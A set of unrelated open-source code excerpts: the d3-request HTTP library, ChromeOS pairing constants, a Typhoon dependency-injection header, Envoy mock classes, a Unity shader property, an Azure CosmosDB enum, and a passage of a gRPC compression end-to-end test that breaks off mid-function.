text:
(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-arrays'), require('d3-dispatch'), require('d3-dsv')) :
  typeof define === 'function' && define.amd ? define('d3-request', ['exports', 'd3-arrays', 'd3-dispatch', 'd3-dsv'], factory) :
  factory((global.d3_request = {}),global.d3_arrays,global.d3_dispatch,global.d3_dsv);
}(this, function (exports,d3Arrays,d3Dispatch,d3Dsv) { 'use strict';

  function request(url, callback) {
    var request,
        event = d3Dispatch.dispatch("beforesend", "progress", "load", "error"),
        mimeType,
        headers = d3Arrays.map(),
        xhr = new XMLHttpRequest,
        response,
        responseType;

    // If IE does not support CORS, use XDomainRequest.
    if (typeof XDomainRequest !== "undefined"
        && !("withCredentials" in xhr)
        && /^(http(s)?:)?\/\//.test(url)) xhr = new XDomainRequest;

    "onload" in xhr
        ? xhr.onload = xhr.onerror = respond
        : xhr.onreadystatechange = function() { xhr.readyState > 3 && respond(); };

    function respond() {
      var status = xhr.status, result;
      if (!status && hasResponse(xhr)
          || status >= 200 && status < 300
          || status === 304) {
        if (response) {
          try {
            result = response.call(request, xhr);
          } catch (e) {
            event.error.call(request, e);
            return;
          }
        } else {
          result = xhr;
        }
        event.load.call(request, result);
      } else {
        event.error.call(request, xhr);
      }
    }

    xhr.onprogress = function(e) {
      event.progress.call(request, e);
    };

    request = {
      header: function(name, value) {
        name = (name + "").toLowerCase();
        if (arguments.length < 2) return headers.get(name);
        if (value == null) headers.remove(name);
        else headers.set(name, value + "");
        return request;
      },

      // If mimeType is non-null and no Accept header is set, a default is used.
      mimeType: function(value) {
        if (!arguments.length) return mimeType;
        mimeType = value == null ? null : value + "";
        return request;
      },

      // Specifies what type the response value should take;
      // for instance, arraybuffer, blob, document, or text.
      responseType: function(value) {
        if (!arguments.length) return responseType;
        responseType = value;
        return request;
      },

      // Specify how to convert the response content to a specific type;
      // changes the callback value on "load" events.
      response: function(value) {
        response = value;
        return request;
      },

      // Alias for send("GET", …).
      get: function(data, callback) {
        return request.send("GET", data, callback);
      },

      // Alias for send("POST", …).
      post: function(data, callback) {
        return request.send("POST", data, callback);
      },

      // If callback is non-null, it will be used for error and load events.
      send: function(method, data, callback) {
        if (!callback && typeof data === "function") callback = data, data = null;
        if (callback && callback.length === 1) callback = fixCallback(callback);
        xhr.open(method, url, true);
        if (mimeType != null && !headers.has("accept")) headers.set("accept", mimeType + ",*/*");
        if (xhr.setRequestHeader) headers.each(function(value, name) { xhr.setRequestHeader(name, value); });
        if (mimeType != null && xhr.overrideMimeType) xhr.overrideMimeType(mimeType);
        if (responseType != null) xhr.responseType = responseType;
        if (callback) request.on("error", callback).on("load", function(xhr) { callback(null, xhr); });
        event.beforesend.call(request, xhr);
        xhr.send(data == null ? null : data);
        return request;
      },

      abort: function() {
        xhr.abort();
        return request;
      },

      on: function() {
        var value = event.on.apply(event, arguments);
        return value === event ? request : value;
      }
    };

    return callback
        ? request.get(callback)
        : request;
  };

  function fixCallback(callback) {
    return function(error, xhr) {
      callback(error == null ? xhr : null);
    };
  }

  function hasResponse(xhr) {
    var type = xhr.responseType;
    return type && type !== "text"
        ? xhr.response // null on error
        : xhr.responseText; // "" on error
  }

  function requestType(defaultMimeType, response) {
    return function(url, callback) {
      var r = request(url).mimeType(defaultMimeType).response(response);
      return callback ? r.get(callback) : r;
    };
  };

  var html = requestType("text/html", function(xhr) {
    return document.createRange().createContextualFragment(xhr.responseText);
  });

  var json = requestType("application/json", function(xhr) {
    return JSON.parse(xhr.responseText);
  });

  var text = requestType("text/plain", function(xhr) {
    return xhr.responseText;
  });

  var xml = requestType("application/xml", function(xhr) {
    var xml = xhr.responseXML;
    if (!xml) throw new Error("parse error");
    return xml;
  });

  function requestDsv(defaultMimeType, dsv) {
    return function(url, row, callback) {
      if (arguments.length < 3) callback = row, row = null;
      var r = request(url).mimeType(defaultMimeType);
      r.row = function(_) { return arguments.length ? r.response(responseOf(dsv, row = _)) : row; };
      r.row(row);
      return callback ? r.get(callback) : r;
    };
  };

  function responseOf(dsv, row) {
    return function(request) {
      return dsv.parse(request.responseText, row);
    };
  }

  var csv = requestDsv("text/csv", d3Dsv.csv);

  var tsv = requestDsv("text/tab-separated-values", d3Dsv.tsv);

  var version = "0.2.2";

  exports.version = version;
  exports.request = request;
  exports.html = html;
  exports.json = json;
  exports.text = text;
  exports.xml = xml;
  exports.csv = csv;
  exports.tsv = tsv;

}));


text:
namespace chromeos {

namespace host_pairing {

// Keep these constants synced with corresponding constants defined in
// oobe_screen_host_pairing.js.
const char kContextKeyPage[] = "page";
const char kContextKeyDeviceName[] = "deviceName";
const char kContextKeyConfirmationCode[] = "code";
const char kContextKeyEnrollmentDomain[] = "enrollmentDomain";
const char kContextKeyUpdateProgress[] = "updateProgress";

const char kPageWelcome[] = "welcome";
const char kPageCodeConfirmation[] = "code-confirmation";
const char kPageUpdate[] = "update";
const char kPageEnrollmentIntroduction[] = "enrollment-introduction";
const char kPageEnrollment[] = "enrollment";
const char kPageEnrollmentError[] = "enrollment-error";
const char kPagePairingDone[] = "pairing-done";

}  // namespace host_pairing

HostPairingScreenActor::HostPairingScreenActor() {
}

HostPairingScreenActor::~HostPairingScreenActor() {
}

}  // namespace chromeos

redpajama_set_name: RedPajamaGithub


text:
////////////////////////////////////////////////////////////////////////////////
//
//  TYPHOON FRAMEWORK
//  Copyright 2013, Typhoon Framework Contributors
//  All Rights Reserved.
//
//  NOTICE: The authors permit you to use, modify, and distribute this file
//  in accordance with the terms of the license agreement accompanying it.
//
////////////////////////////////////////////////////////////////////////////////

#import <Foundation/Foundation.h>
#import "TyphoonComponentFactory.h"
#import "TyphoonRuntimeArguments.h"

@class TyphoonCallStack;
@class TyphoonDefinition;

/**
* Encapsulates the methods related to assembling an instance using the Objective-C runtime. This is an internal category - the methods will
* not be required for normal use of Typhoon.
*/
@interface TyphoonComponentFactory (InstanceBuilder)

- (TyphoonCallStack *)stack;

- (id)buildInstanceWithDefinition:(TyphoonDefinition *)definition args:(TyphoonRuntimeArguments *)args;

- (id)buildSharedInstanceForDefinition:(TyphoonDefinition *)definition args:(TyphoonRuntimeArguments *)args;

- (void)doInjectionEventsOn:(id)instance withDefinition:(TyphoonDefinition *)definition args:(TyphoonRuntimeArguments *)args;

- (NSArray *)allDefinitionsForType:(id)classOrProtocol;

- (NSArray *)allDefinitionsForType:(id)classOrProtocol includeSubclasses:(BOOL)includeSubclasses;

- (TyphoonDefinition *)definitionForType:(id)classOrProtocol;

- (TyphoonDefinition *)definitionForType:(id)classOrProtocol orNil:(BOOL)returnNilIfNotFound includeSubclasses:(BOOL)includeSubclasses;

- (void)injectAssemblyOnInstanceIfTyphoonAware:(id)instance;

- (void)resolveCircularDependency:(NSString *)key args:(TyphoonRuntimeArguments *)args resolvedBlock:(void(^)(BOOL isCircular))resolvedBlock;

@end


text:
namespace Envoy {
namespace Server {
namespace Configuration {
class MockServerFactoryContext;
class MockStatsConfig;
} // namespace Configuration

class MockInstance : public Instance {
public:
  MockInstance();
  ~MockInstance() override;

  Secret::SecretManager& secretManager() override { return *(secret_manager_.get()); }

  MOCK_METHOD(Admin&, admin, ());
  MOCK_METHOD(Api::Api&, api, ());
  MOCK_METHOD(Upstream::ClusterManager&, clusterManager, ());
  MOCK_METHOD(Ssl::ContextManager&, sslContextManager, ());
  MOCK_METHOD(Event::Dispatcher&, dispatcher, ());
  MOCK_METHOD(Network::DnsResolverSharedPtr, dnsResolver, ());
  MOCK_METHOD(void, drainListeners, ());
  MOCK_METHOD(DrainManager&, drainManager, ());
  MOCK_METHOD(AccessLog::AccessLogManager&, accessLogManager, ());
  MOCK_METHOD(void, failHealthcheck, (bool fail));
  MOCK_METHOD(void, exportStatsToChild, (envoy::HotRestartMessage::Reply::Stats*));
  MOCK_METHOD(bool, healthCheckFailed, ());
  MOCK_METHOD(HotRestart&, hotRestart, ());
  MOCK_METHOD(Init::Manager&, initManager, ());
  MOCK_METHOD(ServerLifecycleNotifier&, lifecycleNotifier, ());
  MOCK_METHOD(ListenerManager&, listenerManager, ());
  MOCK_METHOD(Envoy::MutexTracer*, mutexTracer, ());
  MOCK_METHOD(const Options&, options, ());
  MOCK_METHOD(OverloadManager&, overloadManager, ());
  MOCK_METHOD(Runtime::Loader&, runtime, ());
  MOCK_METHOD(void, shutdown, ());
  MOCK_METHOD(bool, isShutdown, ());
  MOCK_METHOD(void, shutdownAdmin, ());
  MOCK_METHOD(Singleton::Manager&, singletonManager, ());
  MOCK_METHOD(time_t, startTimeCurrentEpoch, ());
  MOCK_METHOD(time_t, startTimeFirstEpoch, ());
  MOCK_METHOD(Stats::Store&, stats, ());
  MOCK_METHOD(Grpc::Context&, grpcContext, ());
  MOCK_METHOD(Http::Context&, httpContext, ());
  MOCK_METHOD(Router::Context&, routerContext, ());
  MOCK_METHOD(ProcessContextOptRef, processContext, ());
  MOCK_METHOD(ThreadLocal::Instance&, threadLocal, ());
  MOCK_METHOD(LocalInfo::LocalInfo&, localInfo, (), (const));
  MOCK_METHOD(Configuration::StatsConfig&, statsConfig, (), ());
  MOCK_METHOD(void, flushStats, ());
  MOCK_METHOD(ProtobufMessage::ValidationContext&, messageValidationContext, ());
  MOCK_METHOD(Configuration::ServerFactoryContext&, serverFactoryContext, ());
  MOCK_METHOD(Configuration::TransportSocketFactoryContext&, transportSocketFactoryContext, ());
  MOCK_METHOD(bool, enableReusePortDefault, ());
  MOCK_METHOD(void, setSinkPredicates, (std::unique_ptr<Envoy::Stats::SinkPredicates> &&));

  void setDefaultTracingConfig(const envoy::config::trace::v3::Tracing& tracing_config) override {
    http_context_.setDefaultTracingConfig(tracing_config);
  }

  envoy::config::bootstrap::v3::Bootstrap& bootstrap() override { return bootstrap_; }

  TimeSource& timeSource() override { return time_system_; }

  NiceMock<Stats::MockIsolatedStatsStore> stats_store_;
  testing::NiceMock<ThreadLocal::MockInstance> thread_local_;
  std::shared_ptr<testing::NiceMock<Network::MockDnsResolver>> dns_resolver_{
      new testing::NiceMock<Network::MockDnsResolver>()};
  testing::NiceMock<Api::MockApi> api_;
  testing::NiceMock<MockAdmin> admin_;
  Event::GlobalTimeSystem time_system_;
  std::unique_ptr<Secret::SecretManager> secret_manager_;
  testing::NiceMock<Upstream::MockClusterManager> cluster_manager_;
  Thread::MutexBasicLockable access_log_lock_;
  testing::NiceMock<Runtime::MockLoader> runtime_loader_;
  Extensions::TransportSockets::Tls::ContextManagerImpl ssl_context_manager_;
  testing::NiceMock<Event::MockDispatcher> dispatcher_;
  testing::NiceMock<MockDrainManager> drain_manager_;
  testing::NiceMock<AccessLog::MockAccessLogManager> access_log_manager_;
  testing::NiceMock<MockHotRestart> hot_restart_;
  testing::NiceMock<MockOptions> options_;
  testing::NiceMock<MockServerLifecycleNotifier> lifecycle_notifier_;
  testing::NiceMock<LocalInfo::MockLocalInfo> local_info_;
  testing::NiceMock<Init::MockManager> init_manager_;
  testing::NiceMock<MockListenerManager> listener_manager_;
  testing::NiceMock<MockOverloadManager> overload_manager_;
  Singleton::ManagerPtr singleton_manager_;
  Grpc::ContextImpl grpc_context_;
  Http::ContextImpl http_context_;
  envoy::config::bootstrap::v3::Bootstrap bootstrap_;
  Router::ContextImpl router_context_;
  Quic::QuicStatNames quic_stat_names_;
  testing::NiceMock<ProtobufMessage::MockValidationContext> validation_context_;
  std::shared_ptr<testing::NiceMock<Configuration::MockStatsConfig>> stats_config_;
  std::shared_ptr<testing::NiceMock<Configuration::MockServerFactoryContext>>
      server_factory_context_;
  std::shared_ptr<testing::NiceMock<Configuration::MockTransportSocketFactoryContext>>
      transport_socket_factory_context_;
};

namespace Configuration {
class MockStatsConfig : public virtual StatsConfig {
public:
  MockStatsConfig();
  ~MockStatsConfig() override;

  MOCK_METHOD(const std::list<Stats::SinkPtr>&, sinks, (), (const));
  MOCK_METHOD(std::chrono::milliseconds, flushInterval, (), (const));
  MOCK_METHOD(bool, flushOnAdmin, (), (const));
  MOCK_METHOD(const Stats::SinkPredicates*, sinkPredicates, (), (const));
};

class MockServerFactoryContext : public virtual ServerFactoryContext {
public:
  MockServerFactoryContext();
  ~MockServerFactoryContext() override;

  MOCK_METHOD(Upstream::ClusterManager&, clusterManager, ());
  MOCK_METHOD(Event::Dispatcher&, mainThreadDispatcher, ());
  MOCK_METHOD(const Server::Options&, options, ());
  MOCK_METHOD(const Network::DrainDecision&, drainDecision, ());
  MOCK_METHOD(const LocalInfo::LocalInfo&, localInfo, (), (const));
  MOCK_METHOD(Envoy::Runtime::Loader&, runtime, ());
  MOCK_METHOD(Stats::Scope&, scope, ());
  MOCK_METHOD(Stats::Scope&, serverScope, ());
  MOCK_METHOD(Singleton::Manager&, singletonManager, ());
  MOCK_METHOD(ThreadLocal::Instance&, threadLocal, ());
  MOCK_METHOD(Server::Admin&, admin, ());
  MOCK_METHOD(TimeSource&, timeSource, ());
  Event::TestTimeSystem& timeSystem() { return time_system_; }
  MOCK_METHOD(ProtobufMessage::ValidationContext&, messageValidationContext, ());
  MOCK_METHOD(ProtobufMessage::ValidationVisitor&, messageValidationVisitor, ());
  MOCK_METHOD(Api::Api&, api, ());
  Grpc::Context& grpcContext() override { return grpc_context_; }
  Router::Context& routerContext() override { return router_context_; }
  envoy::config::bootstrap::v3::Bootstrap& bootstrap() override { return bootstrap_; }
  MOCK_METHOD(Server::DrainManager&, drainManager, ());
  MOCK_METHOD(Init::Manager&, initManager, ());
  MOCK_METHOD(ServerLifecycleNotifier&, lifecycleNotifier, ());
  MOCK_METHOD(StatsConfig&, statsConfig, (), ());
  MOCK_METHOD(AccessLog::AccessLogManager&, accessLogManager, (), ());

  testing::NiceMock<Upstream::MockClusterManager> cluster_manager_;
  testing::NiceMock<Event::MockDispatcher> dispatcher_;
  testing::NiceMock<MockDrainManager> drain_manager_;
  testing::NiceMock<LocalInfo::MockLocalInfo> local_info_;
  testing::NiceMock<Envoy::Runtime::MockLoader> runtime_loader_;
  testing::NiceMock<Stats::MockIsolatedStatsStore> scope_;
  testing::NiceMock<ThreadLocal::MockInstance> thread_local_;
  testing::NiceMock<ProtobufMessage::MockValidationContext> validation_context_;
  testing::NiceMock<MockStatsConfig> stats_config_;
  testing::NiceMock<AccessLog::MockAccessLogManager> access_log_manager_;
  testing::NiceMock<Init::MockManager> init_manager_;
  testing::NiceMock<MockServerLifecycleNotifier> lifecycle_notifier_;

  Singleton::ManagerPtr singleton_manager_;
  testing::NiceMock<MockAdmin> admin_;
  Event::GlobalTimeSystem time_system_;
  testing::NiceMock<Api::MockApi> api_;
  Grpc::ContextImpl grpc_context_;
  Router::ContextImpl router_context_;
  envoy::config::bootstrap::v3::Bootstrap bootstrap_;
};

} // namespace Configuration
} // namespace Server
} // namespace Envoy


text:
using UnityEngine;
using UnityEditor;
using System.Collections;
using System.Runtime.Serialization;

namespace StrumpyShaderEditor
{
	[DataContract(Namespace = "http://strumpy.net/ShaderEditor/")]
	public class MatrixProperty : ShaderProperty
	{
		public MatrixProperty()
		{
		}

		public override void Draw()
		{
		}

		public override InputType GetPropertyType()
		{
			return InputType.Matrix;
		}

		public override string GetPropertyDefinition()
		{
			return "";
		}
	}
}


text:
namespace Microsoft.Azure.Management.CosmosDB.Models
{

    /// <summary>
    /// Defines values for TriggerType.
    /// </summary>
    public static class TriggerType
    {
        public const string Pre = "Pre";
        public const string Post = "Post";
    }
}


text:
#include "test/core/end2end/end2end_tests.h"

#include <stdio.h>
#include <string.h>

#include <grpc/byte_buffer.h>
#include <grpc/byte_buffer_reader.h>
#include <grpc/compression.h>
#include <grpc/support/alloc.h>
#include <grpc/support/log.h>
#include <grpc/support/string_util.h>
#include <grpc/support/time.h>
#include <grpc/support/useful.h>

#include "src/core/lib/channel/channel_args.h"
#include "src/core/lib/surface/call.h"
#include "src/core/lib/surface/call_test_only.h"
#include "test/core/end2end/cq_verifier.h"

static void *tag(intptr_t t) { return (void *)t; }

static grpc_end2end_test_fixture begin_test(grpc_end2end_test_config config,
                                            const char *test_name,
                                            grpc_channel_args *client_args,
                                            grpc_channel_args *server_args) {
  grpc_end2end_test_fixture f;
  gpr_log(GPR_INFO, "%s/%s", test_name, config.name);
  f = config.create_fixture(client_args, server_args);
  config.init_server(&f, server_args);
  config.init_client(&f, client_args);
  return f;
}

static gpr_timespec n_seconds_time(int n) {
  return GRPC_TIMEOUT_SECONDS_TO_DEADLINE(n);
}

static gpr_timespec five_seconds_time(void) { return n_seconds_time(5); }

static void drain_cq(grpc_completion_queue *cq) {
  grpc_event ev;
  do {
    ev = grpc_completion_queue_next(cq, five_seconds_time(), NULL);
  } while (ev.type != GRPC_QUEUE_SHUTDOWN);
}

static void shutdown_server(grpc_end2end_test_fixture *f) {
  if (!f->server) return;
  grpc_server_shutdown_and_notify(f->server, f->cq, tag(1000));
  GPR_ASSERT(grpc_completion_queue_pluck(
                 f->cq, tag(1000), GRPC_TIMEOUT_SECONDS_TO_DEADLINE(5), NULL)
                 .type == GRPC_OP_COMPLETE);
  grpc_server_destroy(f->server);
  f->server = NULL;
}

static void shutdown_client(grpc_end2end_test_fixture *f) {
  if (!f->client) return;
  grpc_channel_destroy(f->client);
  f->client = NULL;
}

static void end_test(grpc_end2end_test_fixture *f) {
  shutdown_server(f);
  shutdown_client(f);

  grpc_completion_queue_shutdown(f->cq);
  drain_cq(f->cq);
  grpc_completion_queue_destroy(f->cq);
}

static void request_for_disabled_algorithm(
    grpc_end2end_test_config config, const char *test_name,
    uint32_t send_flags_bitmask,
    grpc_compression_algorithm algorithm_to_disable,
    grpc_compression_algorithm requested_client_compression_algorithm,
    grpc_status_code expected_error, grpc_metadata *client_metadata) {
  grpc_call *c;
  grpc_call *s;
  gpr_slice request_payload_slice;
  grpc_byte_buffer *request_payload;
  gpr_timespec deadline = five_seconds_time();
  grpc_channel_args *client_args;
  grpc_channel_args *server_args;
  grpc_end2end_test_fixture f;
  grpc_op ops[6];
  grpc_op *op;
  grpc_metadata_array initial_metadata_recv;
  grpc_metadata_array trailing_metadata_recv;
  grpc_metadata_array request_metadata_recv;
  grpc_byte_buffer *request_payload_recv = NULL;
  grpc_call_details call_details;
  grpc_status_code status;
  grpc_call_error error;
  char *details = NULL;
  size_t details_capacity = 0;
  int was_cancelled = 2;
  cq_verifier *cqv;
  char str[1024];

  memset(str, 'x', 1023);
  str[1023] = '\0';
  request_payload_slice = gpr_slice_from_copied_string(str);
  request_payload = grpc_raw_byte_buffer_create(&request_payload_slice, 1);

  client_args = grpc_channel_args_set_compression_algorithm(
      NULL, requested_client_compression_algorithm);
  server_args =
      grpc_channel_args_set_compression_algorithm(NULL, GRPC_COMPRESS_NONE);
  server_args = grpc_channel_args_compression_algorithm_set_state(
      &server_args, algorithm_to_disable, false);

  f = begin_test(config, test_name, client_args, server_args);
  cqv = cq_verifier_create(f.cq);

  c = grpc_channel_create_call(f.client, NULL, GRPC_PROPAGATE_DEFAULTS, f.cq,
                               "/foo", "foo.test.google.fr", deadline, NULL);
  GPR_ASSERT(c);

  grpc_metadata_array_init(&initial_metadata_recv);
  grpc_metadata_array_init(&trailing_metadata_recv);
  grpc_metadata_array_init(&request_metadata_recv);
  grpc_call_details_init(&call_details);

  memset(ops, 0, sizeof(ops));
  op = ops;
  op->op = GRPC_OP_SEND_INITIAL_METADATA;
  if (client_metadata != NULL) {
    op->data.send_initial_metadata.count = 1;
    op->data.send_initial_metadata.metadata = client_metadata;
  } else {
    op->data.send_initial_metadata.count = 0;
  }
  op->flags = 0;
  op->reserved = NULL;
  op++;
  op->op = GRPC_OP_SEND_MESSAGE;
  op->data.send_message = request_payload;
  op->flags = send_flags_bitmask;
  op->reserved = NULL;
  op++;
  op->op = GRPC_OP_SEND_CLOSE_FROM_CLIENT;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  op->op = GRPC_OP_RECV_INITIAL_METADATA;
  op->data.recv_initial_metadata = &initial_metadata_recv;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  op->op = GRPC_OP_RECV_STATUS_ON_CLIENT;
  op->data.recv_status_on_client.trailing_metadata = &trailing_metadata_recv;
  op->data.recv_status_on_client.status = &status;
  op->data.recv_status_on_client.status_details = &details;
  op->data.recv_status_on_client.status_details_capacity = &details_capacity;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  error = grpc_call_start_batch(c, ops, (size_t)(op - ops), tag(1), NULL);
  GPR_ASSERT(GRPC_CALL_OK == error);

  error =
      grpc_server_request_call(f.server, &s, &call_details,
                               &request_metadata_recv, f.cq, f.cq, tag(101));
  GPR_ASSERT(GRPC_CALL_OK == error);
  CQ_EXPECT_COMPLETION(cqv, tag(101), true);
  cq_verify(cqv);

  op = ops;
  op->op = GRPC_OP_SEND_INITIAL_METADATA;
  op->data.send_initial_metadata.count = 0;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  op->op = GRPC_OP_RECV_MESSAGE;
  op->data.recv_message = &request_payload_recv;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  error = grpc_call_start_batch(s, ops, (size_t)(op - ops), tag(102), NULL);
  GPR_ASSERT(GRPC_CALL_OK == error);

  CQ_EXPECT_COMPLETION(cqv, tag(102), false);

  op = ops;
  op->op = GRPC_OP_RECV_CLOSE_ON_SERVER;
  op->data.recv_close_on_server.cancelled = &was_cancelled;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  error = grpc_call_start_batch(s, ops, (size_t)(op - ops), tag(103), NULL);
  GPR_ASSERT(GRPC_CALL_OK == error);

  CQ_EXPECT_COMPLETION(cqv, tag(103), true);
  CQ_EXPECT_COMPLETION(cqv, tag(1), true);
  cq_verify(cqv);

  /* call was cancelled (closed) ... */
  GPR_ASSERT(was_cancelled != 0);
  /* with a certain error */
  GPR_ASSERT(status == expected_error);

  char *algo_name = NULL;
  GPR_ASSERT(grpc_compression_algorithm_name(algorithm_to_disable, &algo_name));
  char *expected_details = NULL;
  gpr_asprintf(&expected_details, "Compression algorithm '%s' is disabled.",
               algo_name);
  /* and we expect a specific reason for it */
  GPR_ASSERT(0 == strcmp(details, expected_details));
  gpr_free(expected_details);
  GPR_ASSERT(0 == strcmp(call_details.method, "/foo"));
  GPR_ASSERT(0 == strcmp(call_details.host, "foo.test.google.fr"));

  gpr_free(details);
  grpc_metadata_array_destroy(&initial_metadata_recv);
  grpc_metadata_array_destroy(&trailing_metadata_recv);
  grpc_metadata_array_destroy(&request_metadata_recv);
  grpc_call_details_destroy(&call_details);

  grpc_call_destroy(c);
  grpc_call_destroy(s);

  cq_verifier_destroy(cqv);

  gpr_slice_unref(request_payload_slice);
  grpc_byte_buffer_destroy(request_payload);
  grpc_byte_buffer_destroy(request_payload_recv);

  grpc_channel_args_destroy(client_args);
  grpc_channel_args_destroy(server_args);

  end_test(&f);
  config.tear_down_data(&f);
}

static void request_with_payload_template(
    grpc_end2end_test_config config, const char *test_name,
    uint32_t client_send_flags_bitmask,
    grpc_compression_algorithm default_client_channel_compression_algorithm,
    grpc_compression_algorithm default_server_channel_compression_algorithm,
    grpc_compression_algorithm expected_algorithm_from_client,
    grpc_compression_algorithm expected_algorithm_from_server,
    grpc_metadata *client_init_metadata, bool set_server_level,
    grpc_compression_level server_compression_level) {
  grpc_call *c;
  grpc_call *s;
  gpr_slice request_payload_slice;
  grpc_byte_buffer *request_payload;
  gpr_timespec deadline = five_seconds_time();
  grpc_channel_args *client_args;
  grpc_channel_args *server_args;
  grpc_end2end_test_fixture f;
  grpc_op ops[6];
  grpc_op *op;
  grpc_metadata_array initial_metadata_recv;
  grpc_metadata_array trailing_metadata_recv;
  grpc_metadata_array request_metadata_recv;
  grpc_byte_buffer *request_payload_recv = NULL;
  grpc_byte_buffer *response_payload;
  grpc_byte_buffer *response_payload_recv;
  grpc_call_details call_details;
  grpc_status_code status;
  grpc_call_error error;
  char *details = NULL;
  size_t details_capacity = 0;
  int was_cancelled = 2;
  cq_verifier *cqv;
  char request_str[1024];
  char response_str[1024];

  memset(request_str, 'x', 1023);
  request_str[1023] = '\0';

  memset(response_str, 'y', 1023);
  response_str[1023] = '\0';

  request_payload_slice = gpr_slice_from_copied_string(request_str);
  gpr_slice response_payload_slice = gpr_slice_from_copied_string(response_str);

  client_args = grpc_channel_args_set_compression_algorithm(
      NULL, default_client_channel_compression_algorithm);
  server_args = grpc_channel_args_set_compression_algorithm(
      NULL, default_server_channel_compression_algorithm);

  f = begin_test(config, test_name, client_args, server_args);
  cqv = cq_verifier_create(f.cq);

  c = grpc_channel_create_call(f.client, NULL, GRPC_PROPAGATE_DEFAULTS, f.cq,
                               "/foo", "foo.test.google.fr", deadline, NULL);
  GPR_ASSERT(c);

  grpc_metadata_array_init(&initial_metadata_recv);
  grpc_metadata_array_init(&trailing_metadata_recv);
  grpc_metadata_array_init(&request_metadata_recv);
  grpc_call_details_init(&call_details);

  memset(ops, 0, sizeof(ops));
  op = ops;
  op->op = GRPC_OP_SEND_INITIAL_METADATA;
  if (client_init_metadata != NULL) {
    op->data.send_initial_metadata.count = 1;
    op->data.send_initial_metadata.metadata = client_init_metadata;
  } else {
    op->data.send_initial_metadata.count = 0;
  }
  op->flags = 0;
  op->reserved = NULL;
  op++;
  op->op = GRPC_OP_RECV_INITIAL_METADATA;
  op->data.recv_initial_metadata = &initial_metadata_recv;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  op->op = GRPC_OP_RECV_STATUS_ON_CLIENT;
  op->data.recv_status_on_client.trailing_metadata = &trailing_metadata_recv;
  op->data.recv_status_on_client.status = &status;
  op->data.recv_status_on_client.status_details = &details;
  op->data.recv_status_on_client.status_details_capacity = &details_capacity;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  error = grpc_call_start_batch(c, ops, (size_t)(op - ops), tag(1), NULL);
  GPR_ASSERT(GRPC_CALL_OK == error);

  error =
      grpc_server_request_call(f.server, &s, &call_details,
                               &request_metadata_recv, f.cq, f.cq, tag(100));
  GPR_ASSERT(GRPC_CALL_OK == error);
  CQ_EXPECT_COMPLETION(cqv, tag(100), true);
  cq_verify(cqv);

  GPR_ASSERT(GPR_BITCOUNT(grpc_call_test_only_get_encodings_accepted_by_peer(
                 s)) == GRPC_COMPRESS_ALGORITHMS_COUNT);
  GPR_ASSERT(GPR_BITGET(grpc_call_test_only_get_encodings_accepted_by_peer(s),
                        GRPC_COMPRESS_NONE) != 0);
  GPR_ASSERT(GPR_BITGET(grpc_call_test_only_get_encodings_accepted_by_peer(s),
                        GRPC_COMPRESS_DEFLATE) != 0);
  GPR_ASSERT(GPR_BITGET(grpc_call_test_only_get_encodings_accepted_by_peer(s),
                        GRPC_COMPRESS_GZIP) != 0);

  memset(ops, 0, sizeof(ops));
  op = ops;
  op->op = GRPC_OP_SEND_INITIAL_METADATA;
  op->data.send_initial_metadata.count = 0;
  if (set_server_level) {
    op->data.send_initial_metadata.maybe_compression_level.is_set = true;
    op->data.send_initial_metadata.maybe_compression_level.level =
        server_compression_level;
  }
  op->flags = 0;
  op->reserved = NULL;
  op++;
  op->op = GRPC_OP_RECV_CLOSE_ON_SERVER;
  op->data.recv_close_on_server.cancelled = &was_cancelled;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  error = grpc_call_start_batch(s, ops, (size_t)(op - ops), tag(101), NULL);
  GPR_ASSERT(GRPC_CALL_OK == error);

  for (int i = 0; i < 2; i++) {
    request_payload = grpc_raw_byte_buffer_create(&request_payload_slice, 1);
    response_payload = grpc_raw_byte_buffer_create(&response_payload_slice, 1);

    memset(ops, 0, sizeof(ops));
    op = ops;
    op->op = GRPC_OP_SEND_MESSAGE;
    op->data.send_message = request_payload;
    op->flags = client_send_flags_bitmask;
    op->reserved = NULL;
    op++;
    op->op = GRPC_OP_RECV_MESSAGE;
    op->data.recv_message = &response_payload_recv;
    op->flags = 0;
    op->reserved = NULL;
    op++;
    error = grpc_call_start_batch(c, ops, (size_t)(op - ops), tag(2), NULL);
    GPR_ASSERT(GRPC_CALL_OK == error);

    memset(ops, 0, sizeof(ops));
    op = ops;
    op->op = GRPC_OP_RECV_MESSAGE;
    op->data.recv_message = &request_payload_recv;
    op->flags = 0;
    op->reserved = NULL;
    op++;
    error = grpc_call_start_batch(s, ops, (size_t)(op - ops), tag(102), NULL);
    GPR_ASSERT(GRPC_CALL_OK == error);
    CQ_EXPECT_COMPLETION(cqv, tag(102), 1);
    cq_verify(cqv);

    GPR_ASSERT(request_payload_recv->type == GRPC_BB_RAW);
    GPR_ASSERT(byte_buffer_eq_string(request_payload_recv, request_str));
    GPR_ASSERT(request_payload_recv->data.raw.compression ==
               expected_algorithm_from_client);

    memset(ops, 0, sizeof(ops));
    op = ops;
    op->op = GRPC_OP_SEND_MESSAGE;
    op->data.send_message = response_payload;
    op->flags = 0;
    op->reserved = NULL;
    op++;
    error = grpc_call_start_batch(s, ops, (size_t)(op - ops), tag(103), NULL);
    GPR_ASSERT(GRPC_CALL_OK == error);
    CQ_EXPECT_COMPLETION(cqv, tag(103), 1);
    CQ_EXPECT_COMPLETION(cqv, tag(2), 1);
    cq_verify(cqv);

    GPR_ASSERT(response_payload_recv->type == GRPC_BB_RAW);
    GPR_ASSERT(byte_buffer_eq_string(response_payload_recv, response_str));
    if (server_compression_level > GRPC_COMPRESS_LEVEL_NONE) {
      const grpc_compression_algorithm algo_for_server_level =
          grpc_call_compression_for_level(s, server_compression_level);
      GPR_ASSERT(response_payload_recv->data.raw.compression ==
                 algo_for_server_level);
    } else {
      GPR_ASSERT(response_payload_recv->data.raw.compression ==
                 expected_algorithm_from_server);
    }

    grpc_byte_buffer_destroy(request_payload);
    grpc_byte_buffer_destroy(response_payload);
    grpc_byte_buffer_destroy(request_payload_recv);
    grpc_byte_buffer_destroy(response_payload_recv);
  }

  gpr_slice_unref(request_payload_slice);
